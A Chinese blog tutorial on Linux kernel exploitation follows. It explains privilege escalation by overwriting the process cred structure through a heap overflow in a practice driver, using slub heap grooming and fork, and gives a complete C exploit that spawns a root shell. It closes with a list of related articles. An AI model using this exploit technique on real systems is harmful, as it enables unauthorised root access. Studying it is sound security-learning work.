的 宏,利用这个,再加上一些条件,可以直接修改 thread_info->addr_limit
, 具体可以看 Android PXN绕过技术研究
修改 cred提权
本节使用 heap_bof
中的代码作为示例。
漏洞请看 Rop-By-Heap-Vulnerability 小结。
介绍
在内核中用 task_struct
表示一个进程的属性, 在创建一个进程的时候同时会分配 cred
结构体用于标识进程的权限。
struct cred {atomic_t usage;
#ifdef CONFIG_DEBUG_CREDENTIALSatomic_t subscribers; /* number of processes subscribed */void *put_addr;unsigned magic;
#define CRED_MAGIC 0x43736564
#define CRED_MAGIC_DEAD 0x44656144
#endifkuid_t uid; /* real UID of the task */kgid_t gid; /* real GID of the task */kuid_t suid; /* saved UID of the task */kgid_t sgid; /* saved GID of the task */kuid_t euid; /* effective UID of the task */kgid_t egid; /* effective GID of the task */kuid_t fsuid; /* UID for VFS ops */kgid_t fsgid; /* GID for VFS ops */unsigned securebits; /* SUID-less security management */
提权到 root
除了调用 commit_creds(prepare_kernel_cred(0))
外,我们还可以通过 修改 cred
结构体中 *id
的字段 为0
,其实就是把 cred
结构体从开始一直到 fsuid 的所有字段全部设置为0
, 这样也可以实现 提权到 root
的目的。
堆溢出为例
本节就实践一下,前面利用这个驱动的 uaf
漏洞,这节就利用堆溢出。
要利用堆溢出就要搞清楚内核真正分配给我们的内存大小,这里 cred
结构体大小为 0xa8
(编译一个内核 gdb
查看之), 由于向上对齐的特性内核应该会分配 0xc0
大小的内存块给我们,测试一下(具体代码可以看最终 exp
)。
// 让驱动分配 10 个 0xa8 的内存块for (int i = 0; i < 80; ++i){p.idx = 1;ioctl(fds[0], 5, &p); // malloc}printf("clear heap done\n");// 让驱动分配 10 个 0xa8 的内存块for (int i = 0; i < 10; ++i){p.idx = i;ioctl(fds[i], 5, &p); // malloc}
首先分配 80
个 0xa8
大小内存块,用于清理内存碎片,这样就可以使后续的内存分配,可以分配到连续的内存空间。
可以看到清理内存碎片后的分配,是连续的每次分配都是相距 0xc0
,说明内核实际分配的内存大小就是 0xc0
. 这 和 slub
机制描述的一致(分配的 size
向上对齐)
于是利用思路就是
- 首先分配
80
个0xa8
(实际是0xc0
) 的内存块 对内存碎片进行清理。 - 让驱动调用几次
kmalloc(0xa8, GFP_KERNEL )
,这会让内核分配 几个0xc0
的内存块。 - 释放中间的一个,然后调用
fork
会分配cred
结构体,这个结构体会落入刚刚释放的那个内存块。 - 这时溢出该内存块的前一个内存块,就可以溢出到
cred
结构体,然后把 一些字段设置为0
,就可以提权了。
#include <stdio.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/ioctl.h>
struct param
{size_t len; // 内容长度char* buf; // 用户态缓冲区地址unsigned long idx; // 表示 ptr 数组的 索引
};
int main(void)
{int fds[10];int ptmx_fds[0x100];char buf[8];int fd;for (int i = 0; i < 10; ++i){fd = open("/dev/bof", O_RDWR);if (fd == -1) {printf("open bof device failed!\n");return -1;}fds[i] = fd;}struct param p;p.len = 0xa8;p.buf = malloc(p.len);// 让驱动分配 10 个 0xa8 的内存块for (int i = 0; i < 80; ++i){p.idx = 1;ioctl(fds[0], 5, &p); // malloc}printf("clear heap done\n");// 让驱动分配 10 个 0xa8 的内存块for (int i = 0; i < 10; ++i){p.idx = i;ioctl(fds[i], 5, &p); // malloc}p.idx = 5;ioctl(fds[5], 7, &p); // freeint now_uid;// 调用 fork 分配一个 cred结构体int pid = fork();if (pid < 0) {perror("fork error");return 0;}// 此时 ptr[4] 和 cred相邻// 溢出 修改 cred 实现提权p.idx = 4;p.len = 0xc0 + 0x30;memset(p.buf, 0, p.len);ioctl(fds[4], 8, &p); if (!pid) {//一直到egid及其之前的都变为了0,这个时候就已经会被认为是root了now_uid = getuid();printf("uid: %x\n", now_uid);if (!now_uid) {// printf("get root done\n");// 权限修改完毕,启动一个shell,就是root的shell了system("/bin/sh");} else {// puts("failed?");}} else {wait(0);}getchar();return 0;
}
转载于:https://www.cnblogs.com/hac425/p/9416886.html
Linux kernel pwn notes(内核漏洞利用学习)相关推荐
- 获取linux内核基址,Linux内核漏洞利用技术:覆写modprobe_path
0x00 前言 如果大家阅读过我此前发表的Linux内核漏洞利用的相关文章,可能会知道我们最近一直在学习这块内容.在过去的几周里,我的团队参加了DiceCTF和UnionCTF比赛,其中都包括了Lin ...
- linux内核提取ret2usr,Linux内核漏洞利用技术详解 Part 2
前言 在上一篇文章中,我们不仅为读者详细介绍了如何搭建环境,还通过一个具体的例子演示了最简单的内核漏洞利用技术:ret2usr.在本文中,我们将逐步启用更多的安全防御机制,即SMEP.KPTI和SMA ...
- 【学习札记NO.00004】Linux Kernel Pwn学习笔记 I:一切开始之前
[学习札记NO.00004]Linux Kernel Pwn学习笔记 I:一切开始之前 [GITHUB BLOG ADDR](https://arttnba3.cn/2021/02/21/NOTE-0 ...
- linux 漏洞 poc,CVE-2017-11176: 一步一步linux内核漏洞利用 (二)(PoC)
使第二次循环中的fget()返回NULL 到目前为止,在用户态下满足了触发漏洞的三个条件之一.TODO: 使netlink_attachskb()返回1 [DONE]exp线程解除阻塞 使第二次fge ...
- Linux内核的l2tp实现,Linux Kernel gdth实现内核内存破坏漏洞
Linux Kernel gdth实现内核内存破坏漏洞 发布日期:2010-11-04 更新日期:2010-11-16 受影响系统: Linux kernel 2.6.x 描述: ---------- ...
- linux kernel 4.4,在Ubuntu 16.04中使用Linux Kernel 4.4内核的用户请注意修复漏洞
如果你在 Ubuntu 16.04 LTS 操作系统中使用 Linux Kernel 4.4 内核,请注意更新系统,以安装修复安全漏洞,它适合 Ubuntu 16.04 LTS 及其 Ubuntu 1 ...
- android4 设置栈大小,【技术分享】Android内核漏洞利用技术实战:环境搭建栈溢出实战...
[技术分享]Android内核漏洞利用技术实战:环境搭建&栈溢出实战 2017-08-14 16:22:02 阅读:0次 预估稿费:300RMB 投稿方式:发送邮件至linwei#360.cn ...
- Linux Kernel ‘install_user_keyrings()’竞争条件漏洞
漏洞名称: Linux Kernel 'install_user_keyrings()'竞争条件漏洞 CNNVD编号: CNNVD-201303-141 发布时间: 2013-03-11 更新时间: ...
- CTF-PWN-babydriver (linux kernel pwn+UAF)
第一次接触linux kernel pwn,和传统的pwn题区别较大,需要比较多的前置知识,以及这种题的环境搭建.运行和调试相关的知识. 文章目录 Linux内核及内核模块 Linux内核(Kerne ...
最新文章
- 一行代码发一篇 ICML?
- Oracle常用系统表
- Typora markdown公式换行等号对齐_Typora-编写博客格式化文档的最佳软件
- PHP zendframework phpunit 深入
- 矩阵快速幂及斐波那契数列模板
- 3分钟学会SVN:SVN快速上手
- mac 安装brew及设置国内镜像
- java赋值兼容原则,多态问题抛出(赋值兼容性原则遇上父类与子类同名函数的时候)...
- 计算机二级access通过技巧,计算机二级Access考试技巧:筛选记录
- word 转 PDF时报错
- 1046 划拳 (15 分)—PAT (Basic Level) Practice (中文)
- java类与对象实验报告心得体会_java实验报告心得体会
- Dev ChartControl 显示设置百分比
- 一种可信万兆加密分流认证装置研究
- docker容器2:镜像制作
- C++primer——形参、局部变量和静态局部变量的差别
- 三招教你如何搞定将qlv格式的腾讯视频转换为mp4格式
- 高中数学几何题解题技巧:立体几何三视图高效还原方法—拔高法
- 均值方差模型python_Python机器学习之“选择最优模型”
- 知识分享 ITエンジニアの中途採用について③
热门文章
- MYSQL-批量插入数据
- 平均值mean,众数mode,中值median 和 标准差stddev
- pySpark Dataframe stddev()和stddev_pop区别
- [转]微软的面试题及答案(超变态但很经典)
- 使用旅游电商系统对旅行社的四大好处
- Ubuntu16.04开机没反应
- 计算机组成原理rll编码,计算机组成原理自考复习资料(8) _ 重庆自考网
- 优化ApK大小之ABI Filters 和 APK split
- linux系统vim下输入回车换行符号的解决方法
- 记一次坑爹的爬虫经历